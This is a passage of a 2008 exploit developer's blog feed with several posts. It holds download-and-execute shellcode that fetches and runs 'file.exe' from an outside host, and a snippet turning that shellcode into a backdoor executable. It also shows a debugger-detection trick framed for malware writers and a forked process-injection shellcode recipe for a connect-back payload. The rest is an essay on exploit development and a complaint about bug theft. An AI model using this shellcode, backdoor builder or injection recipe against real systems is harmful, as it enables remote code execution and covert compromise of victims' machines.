0);font-family:courier new;" &gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %eax                           // pBSC&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %eax                           // dwReserved&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %edx                           // dwBufLength&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %esi                           // szFileName&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %edi                           // URL       &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %eax                           // lpUnkCaller&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        call &lt;span style="color: rgb(0, 51, 0); font-weight: bold;"&gt;URLDOWNLOADTOCACHEFILEA&lt;/span&gt;-getpcloc(%ebp)  // Calling a function&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;                                                                                                   // needs the name &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;                                                                                                   // with caps. &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;                              //returns a  HFILE handle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pop %esi  // get the file back&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        xorl %eax, %eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        movl  $0x100, %ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        subl  %ecx, %esp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        movl %esp, %edi // CLEAR the buffer&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        rep stosb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        leal 16(%esp), %ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        leal 84(%esp), %edx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        mov $0x1, 0x2c(%edx)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %ecx   // PROCESS INFORMATION&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %edx   // STARTUP INFO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %eax     &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %eax     &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %eax    // Creation Flag    &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %esi  // command&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        call &lt;span style="color: rgb(0, 51, 0); font-weight: bold;"&gt;CREATEPROCESSA&lt;/span&gt;-getpcloc(%ebp)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        xorl %eax,%eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        call &lt;span style="color: rgb(0, 51, 0);"&gt;&lt;span style="font-weight: bold;"&gt;EXITTHREAD&lt;/span&gt;-getpcloc&lt;/span&gt;(%ebp)        &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        """&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Quite simple, isn't it?  We call &lt;a href="http://msdn.microsoft.com/en-us/library/ms775122%28VS.85%29.aspx"&gt;UrlDownloadtoCacheFileA&lt;/a&gt; with the given url, this would return the place where it saved the downloaded file on the szFileName argument (reg %esi) and later we simple call &lt;a href="http://msdn.microsoft.com/en-us/library/ms682425.aspx"&gt;CreateProcessA&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Before i get any comment bitching about how this code can be optimized, I KNOW, i just didn't do it yet.&lt;br /&gt;&lt;br /&gt;So the last thing we need return the assembly code formatted:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       return codegen.get()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From your exploit, you can go like:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;import shellcode.clean.windows.payloads as payloads&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;p = payloads.payloads()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;code = p.httpdownload("http://172.16.71.2:8080/file.exe")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;sc = p.assemble( code )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;sc would have your shellcode. Now if you want to test it on a debugger without exploiting something or you just want to make a backdoor out of it:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;import MOSDEF.pelib as pelib&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;myPElib = pelib.PElib()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;exe = myPElib.createPEFileBuf(sc, gui=True)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;file = open('test.exe', 'wb+')&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;file.write(exe)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;file.close()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Peace&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-1026117038431051596?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/1026117038431051596/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=1026117038431051596' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/1026117038431051596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/1026117038431051596'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/08/shellcode-you-are-doing-it-correct.html' title='Shellcode: You are doing it CORRECT'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-6906863887062753173</id><published>2008-08-17T14:53:00.000-07:00</published><updated>2008-08-18T10:14:24.134-07:00</updated><title type='text'>thing you care if you are writing malware...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_aUReV5sSeqk/SKiiLxHSO6I/AAAAAAAADDU/eSTAWju-gAo/s1600-h/insects_macro_041-1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_aUReV5sSeqk/SKiiLxHSO6I/AAAAAAAADDU/eSTAWju-gAo/s400/insects_macro_041-1.jpg" alt="" id="BLOGGER_PHOTO_ID_5235612889864354722" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;There are million of ways to detect a debugger. I'm usually  on the other side, "millions of ways to hide a debugger", but this time let me show you a simple but neat trick.&lt;br /&gt;Call the win32 api function &lt;a href="http://msdn.microsoft.com/en-us/library/ms683156%28VS.85%29.aspx"&gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;GetCommandLine&lt;/span&gt;&lt;/a&gt; and check if the last char is a space.&lt;br /&gt;If it isn't, means its been executed from a debugger (tested on ID and windbg) or the command shell.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;LPSTR ptr;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    unsigned int ret;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    ptr = GetCommandLine();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    ret = strlen(ptr);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if(ptr[ret-1] == ' ')&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        printf("Carry On\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        printf("Debugger detected!\n");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In other news, if you feel like having a good cabernet sauvignon, a juicy steak or listening to hackers talking about what they know Buenos Aires is your place the first days of October:&lt;br /&gt;cansecwest's dragos is throwing a conference this year: &lt;a href="http://www.ba-con.com.ar/"&gt;Ba-Con&lt;/a&gt;&lt;br /&gt;And exactly the day after, the second edition of the &lt;a href="http://www.ekoparty.com.ar/"&gt;Eko-party&lt;/a&gt; including &lt;a href="http://www.immunityinc.com/"&gt;Dave Aitel&lt;/a&gt; as a keynote "Hacking Has An Economy of Scale" and &lt;a href="http://www.immunityinc.com/"&gt;Pablo Solé&lt;/a&gt; recon talk                       "Adobe javascript unleashed".&lt;br /&gt;&lt;br /&gt;I'll be around!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-6906863887062753173?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/6906863887062753173/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=6906863887062753173' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6906863887062753173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6906863887062753173'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/08/thing-you-care-if-you-are-writing.html' title='thing you care if you are writing malware...'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_aUReV5sSeqk/SKiiLxHSO6I/AAAAAAAADDU/eSTAWju-gAo/s72-c/insects_macro_041-1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-3825112074791267613</id><published>2008-08-15T19:02:00.000-07:00</published><updated>2008-08-15T19:07:47.971-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='win32'/><category scheme='http://www.blogger.com/atom/ns#' term='stealing'/><category scheme='http://www.blogger.com/atom/ns#' term='bug'/><category scheme='http://www.blogger.com/atom/ns#' term='0day'/><category scheme='http://www.blogger.com/atom/ns#' term='nslookup'/><title type='text'>deep deep...</title><content type='html'>What's lower than stealing a bug from someone and publish it?&lt;br /&gt;&lt;br /&gt;Stealing a NULL pointer read...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.nullcode.com.ar/ncs/crash/nsloo.htm"&gt;http://www.nullcode.com.ar/ncs/crash/nsloo.htm&lt;/a&gt;*&lt;br /&gt;&lt;br /&gt;You must be starving for fame, go fuzz an AV!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;* The bug on that website was found by raddy long time ago&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-3825112074791267613?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/3825112074791267613/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=3825112074791267613' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3825112074791267613'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3825112074791267613'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/08/deep-deep.html' title='deep deep...'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-801197359825917222</id><published>2008-08-07T19:34:00.000-07:00</published><updated>2008-08-07T19:43:49.054-07:00</updated><title type='text'>The exploit development's moebius strip</title><content type='html'>&lt;style type="text/css"&gt;  &lt;!--   @page { size: 8.5in 11in; margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0.2in; color: rgb(0, 0, 0);" align="left"&gt;Let me talk a little about one of my main tasks at Immunity: solving&lt;br /&gt;complex problems. Solving complex problems is an important and interesting job, specially for&lt;br /&gt;some curious mind that enjoy the masochistic task of facing difficult&lt;br /&gt;challenges every day.&lt;/p&gt;&lt;p style="margin-bottom: 0.2in; color: rgb(0, 0, 0);" align="left"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://ursispaltenstein.ch/blog/images/uploads_img/igor_siwanowicz.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://ursispaltenstein.ch/blog/images/uploads_img/igor_siwanowicz.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;On the opposite side of all the excitement described you go through a series&lt;br /&gt;of moods on the different steps of the problem, which i had named the&lt;br /&gt;"the exploit development's circle"...&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;EXCITEMENT:&lt;/span&gt; It begin with excitement about the new challenge you will be facing. You set up your environment  and start getting familiar with all the details.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;DECEPTION:&lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt; &lt;/span&gt;With all the adrenaline flowing through your vein, your face hits directly into a wall  . The challenge seems to be more complex than expected and all the common hopes of succeed get lower every minute.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;DEPRESSION:&lt;/span&gt; After days of failure and using all your experience and your brain cells, the exploit remains exactly the same as the first day. The adrenaline in the blood is replaced by epic amounts of caffeine, you go to sleep and all you can think of is the time spent on a bug that might not be able to exploit it.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;FAITH:&lt;/span&gt; You tell your boss this is impossible, that we need to switch into  something else. He persistently gave you support but your ears are so occupied listening to your psychological repression mechanism telling you how bad you are at this and that you should apply for a job that requires less mental effort such as a clerk in your local video store. A millisecond before quitting this module for good , an idea emerge, you are not certain where it came from, maybe it was a signal sent by the old thyresias that you predict  subconsciously with pigeon's flight from your windows or your last neuron burning the last portion of energy left, but the true  is that your idea might work.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(153, 0, 0);"&gt;SUCCESS:&lt;/span&gt; It Work! Your last minute theory Works. All the glory, the little pieces of colorful paper dancing in the air, the clowns, the trumpets. Your exploit is working and the cold sweat is now gone. After all the congratulations, your self-steem is over the clouds and the routine testing (which you know they gonna work successfuly) your 15 minutes of glory will be long gone and the next task will bring the circle back to where it start.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style="margin-bottom: 0.2in; color: rgb(0, 0, 0);" align="left"&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-801197359825917222?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/801197359825917222/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=801197359825917222' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/801197359825917222'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/801197359825917222'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/08/exploit-developments-moebius-strip.html' title='The exploit development&apos;s moebius strip'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-7106902405834798336</id><published>2008-08-05T18:36:00.000-07:00</published><updated>2008-08-06T07:55:15.464-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='win32'/><category scheme='http://www.blogger.com/atom/ns#' term='the great bas alberts'/><category scheme='http://www.blogger.com/atom/ns#' term='immunity'/><category scheme='http://www.blogger.com/atom/ns#' term='fork'/><category scheme='http://www.blogger.com/atom/ns#' term='canvas'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>Apology of forking shellcode</title><content type='html'>&lt;span style="font-style: italic;"&gt;*Note: To practice my writing i will start doing random post in english, most of them related with computers.*&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I remember back in the time, when Dave was trying to chill-out from a hard day of work he start to do a simple "half and hour" hoolio (In Immunity's slang, hoolio is an exploit for bizarre software, named after -Julio FTP Server-), and so he start do savant. For those who never exploit, it takes a bit more than half-and-hour. Refer to &lt;a href="http://www.immunityinc.com/education-windowsoverflow-accel.shtml"&gt;Advance Stack Overflow.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.digital-nature-photography.com/nature/GR10/GREBO160508-0055.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://www.digital-nature-photography.com/nature/GR10/GREBO160508-0055.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The last thing I did, is fully port the neat exploit that &lt;a href="http://www.insomniasec.com/"&gt;Brett Moore&lt;/a&gt; did for Syscan to CANVAS, its a really interesting bug and a good proof of concept for windows 2003 explotation (Since today, we are gonna include it on the Heap overflow trainning). I'm not gonna get into the details since Brett cover them all up, i just wanna state that is a nice bug and with some work it can be exploit it quite reliable. The problem was different this time: Shellcode.&lt;br /&gt;&lt;br /&gt;The great problem on shellcode execution  is that the heap is screwed by whatever primitive you use, so it will eventually gonna crash on an allocation. It can be fixed, but you will never be 100% sure that you did it correctly, and probably you will end up with a big shellcode.&lt;br /&gt;&lt;br /&gt;Our usual response to this problem is -Process Injection-, Bas (also known as The great Bas Alberts) wrote a great shellcode a couple of years ago, which inject mosdef shellcode  into whatever process is given and execute the connect back. We tag-team a little bit on this exploit before he left to reduce shellcode size (since I only had around 0x300 bytes).&lt;br /&gt;&lt;br /&gt;I did all of this without checking the thread privilege (kids, dont do that at home, we are security professional trained to do such dumb mistakes), so when i run my exploit nothing significant happens.&lt;br /&gt;&lt;br /&gt;Since I believe in science, i look for the causes, and this time i found out the worst: I didn't have the SeDebugPrivilige. Usually is disable, and you can easily enable with a couple of lines of assembly, but this time it was not there. In simple words:&lt;br /&gt;Good bye Inject shellcode, Welcome trouble.&lt;br /&gt;&lt;br /&gt;Next step, ForkLoad shellcode. We had a template of what is supposed to be fork shellcode, but it was never finished, and so it was my task for the last couple of days. (sheesh, I did all this write up to get into this point).&lt;br /&gt;&lt;br /&gt;In 2003 the Last Stage of Delirium group release a paper on win32 shellcode, which between other amazing tricks they talk about a Fork Load shellcode, they made it look simple:&lt;br /&gt;&lt;br /&gt;1) Create the process in Suspended Mode&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;STARTUPINFO si = {0}; PROCESS_INFORMATION pi;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CONTEXT ctx;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CreateProcess(NULL, "cmd", NULL, NULL, 0, CREATE_SUSPENDED, NULL, &amp;amp;si, π);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2) Get Full context of the main thread&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ctx.ContextFlags = CONTEXT_FULL;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GetThreadContext( pi.Thread, &amp;amp;ctx);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3) Remote VirtualAllocate and Write our shellcode there.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;v = VirtualAllocEx( pi.hProcess, NULL, 0x5000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;WriteProcessMemory( pi.hProcess, v, buf, sizeof(buf), NULL);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;4) Make the thread EIP points to our shellcode&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ctx.ContextFlags = CONTEXT_FULL;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ctx.Eip = v;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;SetThreadContext( pi.hThread, &amp;amp;ctx);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;5) Since the thread is in SUSPENDED MODE, resume execution&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ResumeThread(pi.hThread);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The shellcode injected will work perfectly, as far as it does simple things. You will have kernel32.dll and ntdll.dll loaded (but not initialized), so depending what shellcode do you might end up on a crash on non-initialized critical section usage or other similar behaviour.&lt;br /&gt;&lt;br /&gt;To fix it, we have to do a couple of tweaks. Let me show you some code:&lt;br /&gt;&lt;br /&gt;1) You need to distinguished where you are the forking or the forked process, we did that with a simple self-modifying code:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;forkentry:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    // if this marker is cleared this jmps to forkthis:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    // we copy this entire payload over ;)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    xorl %eax, %eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    incl %eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    test %eax,%eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    jz forkthis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    // start of self modifying muck&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    // Self modifying code, change the incl for a nop&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    leal forkentry-getpcloc(%ebp),%ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    movb $0x90, 2(%ecx)  // 2(%ecx) points to the incl %eax&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2) CreateProcess in suspended-mode&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CreateProcess(NULL, "cmd", NULL, NULL, 0, CREATE_SUSPENDED, NULL, &amp;amp;si, π);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3) Remote VirtualAllocate and Write our shellcode there.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;v = VirtualAllocEx( pi.hProcess, NULL, 0x5000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;WriteProcessMemory( pi.hProcess, v, buf, sizeof(buf), NULL);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;4) Get Full context of the main thread&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ctx.ContextFlags = CONTEXT_FULL;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GetThreadContext( pi.Thread, &amp;amp;ctx);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;5) Create a Remote Thread and run it&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CreateRemoteThread( hProcess, 0, 0, shellcode, 0, 0,0) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;6) Resume the main thread execution of the main thread.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    // pi.hThread&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    pushl %esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    call RESUMETHREAD-getpcloc(%ebp)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;7a) If you are forking, exitthread&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;xorl %eax,%eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    pushl %eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    call EXITTHREAD-getpcloc(%ebp)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;7b) If you are  forked, sleep for one second to let the main thread initialize everything&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;kernel32.dll!Sleep( 0x1000)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And that takes around &lt;span style="font-weight: bold;"&gt;0x2cd bytes&lt;/span&gt; (It can be optimized), including:&lt;br /&gt;- LoadLibrary("WS2_32.dll")&lt;br /&gt;- Resolving WS2_32.dll!wsastartup and calling it&lt;br /&gt;- and including the first-stage mosdef shellcode (socket/connect/recv).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;All the kudos for Bas and his recently re-write of our shellcode framework making this smoother experience.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-7106902405834798336?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/7106902405834798336/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=7106902405834798336' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/7106902405834798336'/><link rel='self' type='application/atom+xml' 